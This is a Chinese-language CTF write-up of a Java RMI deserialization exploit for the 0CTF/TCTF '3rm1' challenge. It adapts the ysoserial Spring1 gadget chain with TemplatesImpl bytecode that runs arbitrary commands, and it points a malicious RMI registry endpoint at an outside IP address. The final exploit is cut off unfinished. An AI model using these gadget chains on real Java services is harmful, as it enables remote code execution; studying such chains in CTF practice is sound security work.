3rm1 tctf/0ctf wp
代码审计
有客户端(flag)和服务端
jdk8u201 (!=jdk8u121,无JEP290限制;jdk>191, 若jndi注入需要考虑高版本)
客户端
非spring
javawebmvc,核心代码
try {
LocateRegistry.getRegistry("rmiserver", 1099).lookup(t.getRequestURI().getQuery()).sayHello("yxxx");
} catch (Exception e) {
response = "0ops, something wrong!";
}
存在lookup方法且可控
值得注意的是前面已经getRegistry("rmiserver", 1099)
了,也就是服务ip和port看似不可控(指向了题目服务端)
其他类:(一看就是用来绕rmi高版本的)
MyInvocationHandler(起到InvocationHandler的作用)
Gadget (提供了readObject和一些反射修改方法)
ClientUserImpl(实现了UserInter,是个demo类)
其余类不是很重要
服务端
绑定到UserImpl上,是个demo
思路
审计得到2点
1.lookup可控但getRegistry("rmiserver", 1099),限制了ip:port
2.假如第1点可以绕过,那么需要考虑高版本jndi的情形,使用题目给的demo构造反序列化
由于题目给了很多demo类,所以认为第1点大概率是可以绕的,并且有jndi互相攻击的前科
背景
jndi互相攻击:【技术干货】RMI-攻击方式总结 - 知乎 (zhihu.com)
提到过Register攻击Server&Client(JRMP 服务端攻击 JRMP 客户端)
学了一下https://i.blackhat.com/eu-19/Wednesday/eu-19-An-Far-Sides-Of-Java-Remote-Protocols.pdf
知道了绕过高版本jdk限制除本地服务外的其它连接来注册对象(CVE-2019-2684),
打算工具一把梭https://github.com/qtc-de/remote-method-guesser
验证了一下urldns可以打通,说明存在反序列化,找可以rce的链子
之前学cc1的时候,得知jdk8u65之后删除了AnnotationInvocationHandler.readObject方法
题目有MyInvocationHandler方法
分析
类的特点
Gadget有readObject->一眼入口
private void readObject(ObjectInputStream inputStream) throws IOException, ClassNotFoundException {
inputStream.defaultReadObject();
// 这个看不懂,大概不是正常的readObject
try {
findMethod(this.user.getGirlFriend().getClass(), this.mName).invoke(this.user.getGirlFriend(), new Object[0]);
//调用这个method
} catch (Exception e) {
e.printStackTrace();
}
}
// 反射获取methodName的方法
private Method findMethod(Class clazz, String methodName) throws NoSuchMethodException {
Method method = clazz.getDeclaredMethod(methodName, new Class[0]);
method.setAccessible(true);
return method;
}
readObject功能:调用this.user.getGirlFriend().getClass()的一个方法
this.user.getGirlFriend().getClass()是demo类ClientUserImpl,我们可以new完后反射修改里面的属性和方法
看到Friend getGirlFriend() throws RemoteException;
得知getGirlFriend一定是返回一个Friend类,
看到public interface Friend extends Remote
得知getGirlFriend一定是返回一个Remote类(接口)
调用继承remote的类的任意方法-》rce
卡了
后面给了hint(ysoserial’s spring1) ,
学一下
猜对了,用的getTemplateImpl(因为jdk自带)
package org.apache.commons.collections;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class ccone {
public static void setValue(String name, Object target, Object value) {
try {
Field field = target.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(target, value);
} catch (Exception ignore) {
}
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
templates.newTransformer();
}
}
弹计算器了
因为题目这个是调方法
尝试action.invoke一下也成了
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates,"_tfactory", new TransformerFactoryImpl());
//templates.newTransformer();
Class persons = Class.forName("com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl");
Method action = persons.getMethod("newTransformer");
action.invoke(templates);
}
谈计算器(相当于测了一下反射)
spring1
对应一下前面类的特点,替换掉原来的链
//org.springframework.core.SerializableTypeWrapper.MethodInvokeTypeProvider
com.ctf.threermi.Gadget
//org.springframework.beans.factory.support.AutowireUtils.ObjectFactoryDelegatingInvocationHandler
com.ctf.threermi.MyInvocationHandler
//sun.reflect.annotation.AnnotationInvocationHandler 这个自带,不用改
sun.reflect.annotation.AnnotationInvocationHandler
贴个调好的spring1exp
package exp;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;
import javax.rmi.CORBA.Util;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
public class SpringExp {
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception {
// templateImpl
TemplatesImpl tmpl = new TemplatesImpl();
setValue(tmpl,"_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(tmpl, "_bytecodes", bytecodes);
setValue(tmpl,"_tfactory", new TransformerFactoryImpl());
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
map.put("getObject", tmpl);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 ObjectFactory 的 getObject 方法,使其返回 TemplatesImpl
ObjectFactory<?> factory = (ObjectFactory<?>) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{ObjectFactory.class}, invocationHandler);
// 当触发factory.getObject()方法时,返回值就被修改为tmpl
// test : factory.toString();
//ObjectFactoryDelegatingInvocationHandler 的 invoke 方法触发 ObjectFactory 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// ObjectFactoryDelegatingInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 ObjectFactoryDelegatingInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Type typeTemplateProxy = (Type) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Type.class, Templates.class}, ofdHandler);
// typeTemplateProxy.hashCode();
// 接下来代理 TypeProvider 的 getType() 方法,使其返回我们创建的 typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getType", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("org.springframework.core.SerializableTypeWrapper$TypeProvider");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 MethodInvokeTypeProvider
Class<?> clazz2 = Class.forName("org.springframework.core.SerializableTypeWrapper$MethodInvokeTypeProvider");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Field field = clazz2.getDeclaredField("methodName");
field.setAccessible(true);
field.set(objects, "newTransformer");
//serialize(objects);
unserialize("ser.bin");
}
}
AnnotationInvocationHandler
看到选中部分的数据类型和getObject方法
修改一下
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
//map.put("getObject", templates);
map.put("getObject", templates);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl
FactoryInter factory = (FactoryInter) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler);
MyInvocationHandler
替换原本的ObjectFactoryDelegatingInvocationHandler
UserInter是因为
代码修改如下
//MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// MyInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Friend.class, Templates.class}, ofdHandler);
// 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getGirlFriend", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
Gadget
因为
所以
// 初始化 Gadget
Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
xs,跑完后报错,发现构造函数没改
一看MyInvocationHandler没有构造函数
所以FactotyInter要自己改
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
//InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
setValue(ofdHandler,"object",factory);
Gadget也没有构造函数,需要自己setValue
//Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Object objects = cons.newInstance();
setValue(objects,"mName","newTransformer");
setValue(objects,"user",typeProviderProxy);
最终exp-jdk8u65
package exp;
import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.springframework.beans.factory.ObjectFactory;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.util.HashMap;
public class Demo {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
byte[] code = getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_tfactory", new TransformerFactoryImpl());
// 使用 AnnotationInvocationHandler 动态代理
Class<?> c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
HashMap<String, Object> map = new HashMap<>();
//map.put("getObject", templates);
map.put("getObject", templates);
// 使用动态代理初始化 AnnotationInvocationHandler
InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map);
// 使用 AnnotationInvocationHandler 动态代理 FactoryInter 的 getObject 方法,使其返回 TemplatesImpl
FactoryInter factory = (FactoryInter) Proxy.newProxyInstance(
ClassLoader.getSystemClassLoader(), new Class[]{FactoryInter.class}, invocationHandler);
// 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl
// test : factory.toString();
//MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
//并且会调用 method.invoke(返回值,args)
//此时返回值被我们使用动态代理改为了 TemplatesImpl
//接下来需要 method 是 newTransformer(),就可以触发调用链了
Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler");
Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
ofdConstructor.setAccessible(true);
// 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
//InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
setValue(ofdHandler,"object",factory);
//HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
//hashMap.get(1);
// MyInvocationHandler 本身就是个 InvocationHandler
// 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
// 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{Friend.class, Templates.class}, ofdHandler);
// 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
HashMap<String, Object> map2 = new HashMap<>();
map2.put("getGirlFriend", typeTemplateProxy);
InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
// 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
new Class[]{typeProviderClass}, newInvocationHandler);
// 初始化 Gadget
Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
// 由于 MethodInvokeTypeProvider 初始化时会立即调用 ReflectionUtils.invokeMethod(method, provider.getType())
// 所以初始化时我们随便给个 Method,methodName 我们使用反射写进去
//Object objects = cons.newInstance(typeProviderProxy, Object.class.getMethod("toString"), 0);
Object objects = cons.newInstance();
setValue(objects,"mName","newTransformer");
setValue(objects,"user",typeProviderProxy);
// serialize(objects);
unserialize("ser1.bin");
}
}
RemoteObjectInvocationHandler
对照wp发现不一样,原来是高版本AnnotationInvocationHandler已经被移除了,我们需要重新找到一个类似于AnnotationInvocationHandler的代理类
用codeql找一下这个特征
import java
from Class c
where c.getASupertype().hasName("InvocationHandler")
and
c.getASupertype*() instanceof TypeSerializable
select c
结果找到RemoteObjectInvocationHandler
它的invoke
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
......
return invokeRemoteMethod(proxy, method, args);
}
private Object invokeRemoteMethod(Object proxy, Method method, Object[] args) throws Exception {
......
if (!(proxy instanceof Remote)) {
throw new IllegalArgumentException("proxy not Remote instance");
}
return ref.invoke((Remote) proxy, method, args, getMethodHash(method));
......
}
和annotionInvocationHandler在有些类似,但是感觉和ObjectFactoryDelegatingInvocationHandler更像一些,我们先用反射造一下
看到构造方法
ref 是一个远程引用(高版本的reference工厂类),里面保存着服务端的对象信息。就像我们调用 Registry 的 bind 方法时,绑定的也是远程引用。
意思是说,我们另外开启一个服务端,让客户端从我们的服务端调用我们自定义的远程方法 getObject 和 getGirlFriend
构造出 RemoteObjectInvocationHandler 中的 ref 参数研究了好久,
这里还是无法控制返回对象所以还是不能直接替换AnnotationInvocationHandler这个类,但是又有另外一个攻击思路了。
- 首先我们自己实现两个接口然后绑定到注册中心,这样ref中保存的就是我们的自己实现接口后的类。
- 然后利用RemoteObjectInvocationHandler来代理UserInter接口让题目客户端反序列化时调用的方法是我们自己实现的方法,这样我们在自己实现的类里就能控制返回对象了。
例如这样,只需要让题目客户端调用到我们自己实现的类即能控制返回对象。
由于没法直接换,所以MyInvocationHandler这里所需要的FactoryInter就要自己造,我写了个FactoryImpl 实现了 FactoryInter 接口
package exp;
import com.ctf.threermi.FactoryInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import static exp.Demo.setValue;
// FactoryImpl
public class FactoryImpl implements FactoryInter {
@Override
public Object getObject() throws Exception {
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "aaa");
byte[] code = Demo.getTemplatesImpl("calc");
byte[][] bytecodes = {code};
setValue(templates, "_bytecodes", bytecodes);
setValue(templates, "_tfactory", new TransformerFactoryImpl());
return templates;
}
}
然后我们需要起一个服务端,就模仿我们之前rmiServer的代码
炮制一下
public class RmiServerThai {
public static void main(String[] args) throws RemoteException, AlreadyBoundException, InterruptedException {
Registry registry = LocateRegistry.createRegistry(7777);
FactoryImpl factoryImpl = new FactoryImpl();
registry.bind("factoryImpl", factoryImpl);
while (true){
System.out.println("start evil server");
sleep(1000);
}
}
}
TestTemplateImpl验证一下
public class TestTemplateImpl {
public static void main(String[] args) throws Throwable {
FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
TemplatesImpl templates = (TemplatesImpl) factoryInterlook.getObject();
templates.newTransformer(); // 测试远程类是否是有效的
}
}
报错不能反序列化
// registry.bind("factoryImpl", factoryImpl);
registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));
改一下这里,因为绑定对象必须要是一个ref
UserImpl
实现 UserImpl#getGirlFriend 返回 friendTemplatesProxy
package exp;
import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.MyInvocationHandler;
import com.ctf.threermi.UserInter;
import javax.xml.transform.Templates;
import java.lang.reflect.Proxy;
import java.rmi.Naming;
import java.rmi.RemoteException;
import static exp.Demo.setValue;
public class userImpl implements UserInter {
@Override
public String sayHello(String str) throws RemoteException {
return null;
}
@Override
public Friend getGirlFriend() throws Exception {
FactoryInter factoryInterlook = (FactoryInter) Naming.lookup("rmi://127.0.0.1:7777/factoryImpl");
MyInvocationHandler myInvocationHandler = new MyInvocationHandler();
setValue(myInvocationHandler, "object", factoryInterlook);
Friend friendTemplatesProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class, Friend.class}, myInvocationHandler);
return friendTemplatesProxy;
}
}
gadget#getObject
public static Object getObject(String command) throws Throwable {
UserInter userInter = (UserInter) Naming.lookup("rmi://127.0.0.1:7777/userImpl");
Gadget gadget = new Gadget();
setValue(gadget,"mName","newTransformer");
setValue(gadget,"user",userInter);
return gadget;
}
注册中心攻击客户端,反序列化这个 Gadget
最终exp
package exp;
import com.ctf.threermi.FactoryInter;
import com.ctf.threermi.Friend;
import com.ctf.threermi.UserInter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.RemoteObjectInvocationHandler;
import java.rmi.server.UnicastRemoteObject;
import java.util.HashMap;
import static sun.reflect.misc.FieldUtil.getField;
public class RealDemo {
public static void serialize(Object obj) throws IOException {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser1.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
public static void setValue(Object target, String name, Object value) throws Exception {
Class c = target.getClass();
Field field = c.getDeclaredField(name);
field.setAccessible(true);
field.set(target,value);
}
public static byte[] getTemplatesImpl(String cmd) {
try {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("Evil");
CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
ctClass.setSuperclass(superClass);
CtConstructor constructor = ctClass.makeClassInitializer();
constructor.setBody(" try {\n" +
" Runtime.getRuntime().exec(\"" + cmd +
"\");\n" +
" } catch (Exception ignored) {\n" +
" }");
byte[] bytes = ctClass.toBytecode();
ctClass.defrost();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[]{};
}
}
public static Object getFieldValue(final Object obj, final String fieldName) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
return field.get(obj);
}
public static void main(String[] args) throws Exception {
//RmiServer的代码
Registry registry = LocateRegistry.createRegistry(7777);
FactoryImpl factoryImpl = new FactoryImpl();
// bind可以绑多个
registry.bind("factoryImpl", UnicastRemoteObject.exportObject(factoryImpl, 7777));
userImpl user = new userImpl();
registry.bind("UserImpl", UnicastRemoteObject.exportObject(user, 7777));
//制造ref
// ((UnicastRef) ((RemoteObjectInvocationHandler) ref).ref).getLiveRef().getEndpoint().getClass()
InvocationHandler ref = Proxy.getInvocationHandler(registry.lookup("UserImpl"));
Field field = ref.getClass().getSuperclass().getDeclaredField("ref");
field.setAccessible(true);
UnicastRef unicastRef = (UnicastRef)field.get(ref);
LiveRef liveRef = (LiveRef) getFieldValue(unicastRef,"ref");
TCPEndpoint tcpEndpoint = (TCPEndpoint)getFieldValue(liveRef,"ep");
setValue(tcpEndpoint,"host","8.129.42.140");
//RemoteObjectInvocationHandler
Class<?> c = Class.forName("java.rmi.server.RemoteObjectInvocationHandler");
Constructor<?> constructor = c.getDeclaredConstructors()[0];
constructor.setAccessible(true);
RemoteObjectInvocationHandler RemoteObjectInvocationHandler = (java.rmi.server.RemoteObjectInvocationHandler) constructor.newInstance(ref);
//由于失去了AnnouceInvocationHandler,这些都不用了
// // 当触发FactoryInter.getObject()方法时,返回值就被修改为tmpl
//
// // test : factory.toString();
//
// //MyInvocationHandler 的 invoke 方法触发 FactoryInter 的 getObject
// //并且会调用 method.invoke(返回值,args)
// //此时返回值被我们使用动态代理改为了 TemplatesImpl
// //接下来需要 method 是 newTransformer(),就可以触发调用链了
// Class<?> clazz = Class.forName("com.ctf.threermi.MyInvocationHandler");
// Constructor<?> ofdConstructor = clazz.getDeclaredConstructors()[0];
// ofdConstructor.setAccessible(true);
// // 使用动态代理出的 ObjectFactory 类实例化 ObjectFactoryDelegatingInvocationHandler
// //InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance(factory);
// InvocationHandler ofdHandler = (InvocationHandler) ofdConstructor.newInstance();
// setValue(ofdHandler,"object",factory);
//
// //HashMap hashMap = (HashMap) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),HashMap.class.getInterfaces(),ofdHandler);
// //hashMap.get(1);
// // MyInvocationHandler 本身就是个 InvocationHandler
// // 使用它来代理一个类,这样在这个类调用时将会触发 MyInvocationHandler 的 invoke 方法
// // 我们用它代理一个既是 Type 类型又是 Templates(TemplatesImpl 父类) 类型的类
// // 这样这个代理类同时拥有两个类的方法,既能被强转为 TypeProvider.getType() 的返回值,又可以在其中找到 newTransformer 方法
// Friend typeTemplateProxy = (Friend) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
// new Class[]{Friend.class, Templates.class}, ofdHandler);
//
// // 接下来代理 UserInter 的 getGirlFriend() 方法,使其返回我们创建的 (UserInter)typeTemplateProxy 代理类
// HashMap<String, Object> map2 = new HashMap<>();
// map2.put("getGirlFriend", typeTemplateProxy);
//
// InvocationHandler newInvocationHandler = (InvocationHandler) constructor.newInstance(Target.class, map2);
//
// Class<?> typeProviderClass = Class.forName("com.ctf.threermi.UserInter");
// // 使用 AnnotationInvocationHandler 动态代理 TypeProvider 的 getType 方法,使其返回 typeTemplateProxy
// 下面缺参数User,直接代理一个User
final UserInter userr = (UserInter) Proxy.newProxyInstance(UserInter.class.getClassLoader(),new Class[]{UserInter.class, Remote.class},RemoteObjectInvocationHandler);
// Object typeProviderProxy = Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),
// new Class[]{UserInter}, newInvocationHandler);
// 初始化 Gadget
Class<?> clazz2 = Class.forName("com.ctf.threermi.Gadget");
Constructor<?> cons = clazz2.getDeclaredConstructors()[0];
cons.setAccessible(true);
